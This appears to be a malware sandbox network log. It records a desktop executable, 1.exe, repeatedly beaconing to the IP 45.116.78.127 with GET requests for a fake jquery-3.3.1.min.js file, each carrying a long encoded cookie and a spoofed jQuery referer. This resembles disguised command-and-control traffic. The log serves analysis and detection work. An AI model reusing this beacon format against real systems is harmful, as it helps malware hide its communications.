2025-01-02 09:34:13 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:14 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:14 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:14 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:15 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:16 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:16 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:16 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:17 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:18 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:18 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:18 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:19 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:20 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:20 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:20 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49728	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:21 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:22 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:21 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:22 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49739	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:23 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:24 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:23 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:24 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49755	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:25 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:26 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:25 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:26 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49766	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:27 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:27 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:27 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:27 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49782	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:29 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:29 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:29 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:29 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49794	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:31 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:31 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:31 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:31 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49809	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:32 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:33 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:33 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:33 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49822	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
